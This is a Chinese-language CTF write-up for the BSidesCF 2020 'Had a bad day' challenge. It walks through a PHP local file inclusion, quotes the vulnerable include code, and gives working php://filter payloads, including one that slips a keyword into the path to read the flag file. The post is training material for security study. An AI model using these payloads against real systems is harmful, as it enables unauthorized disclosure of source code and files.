第四十八题——[BSidesCF 2020]Had a bad day

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,两个按钮,点击任意一个均出现一张照片,且URL参数提交相应的值

在这里插入图片描述

第二步:利用php:filter读取index.php发现出错

php://filter/convert.base64-encode/resource=index.php

在这里插入图片描述

第三步:去掉.php后缀名后成功获取到源码的base64值,解码后得到源码

在这里插入图片描述

<?php
  $file = $_GET['category'];
  if(isset($file)){
    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
      include ($file . '.php');
    }else{
      echo "Sorry, we currently only support woofers and meowers.";
    }
  }
?>

第四步:代码审计

  1. 可以看到提交的参数必须包含三个关键字才能加载相应的函数,并且自动在后面加上php后缀名

第五步:输入index?/../../../../flag使用第一题目录穿越获取flag,结果失败

在这里插入图片描述

第六步:php://filter可以在resource之前嵌套一层目录,利用此原理获取flag

输入php://filter/convert.base64-encode/index/resource=flag,得到base64编码,解码后得到flag
在这里插入图片描述
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值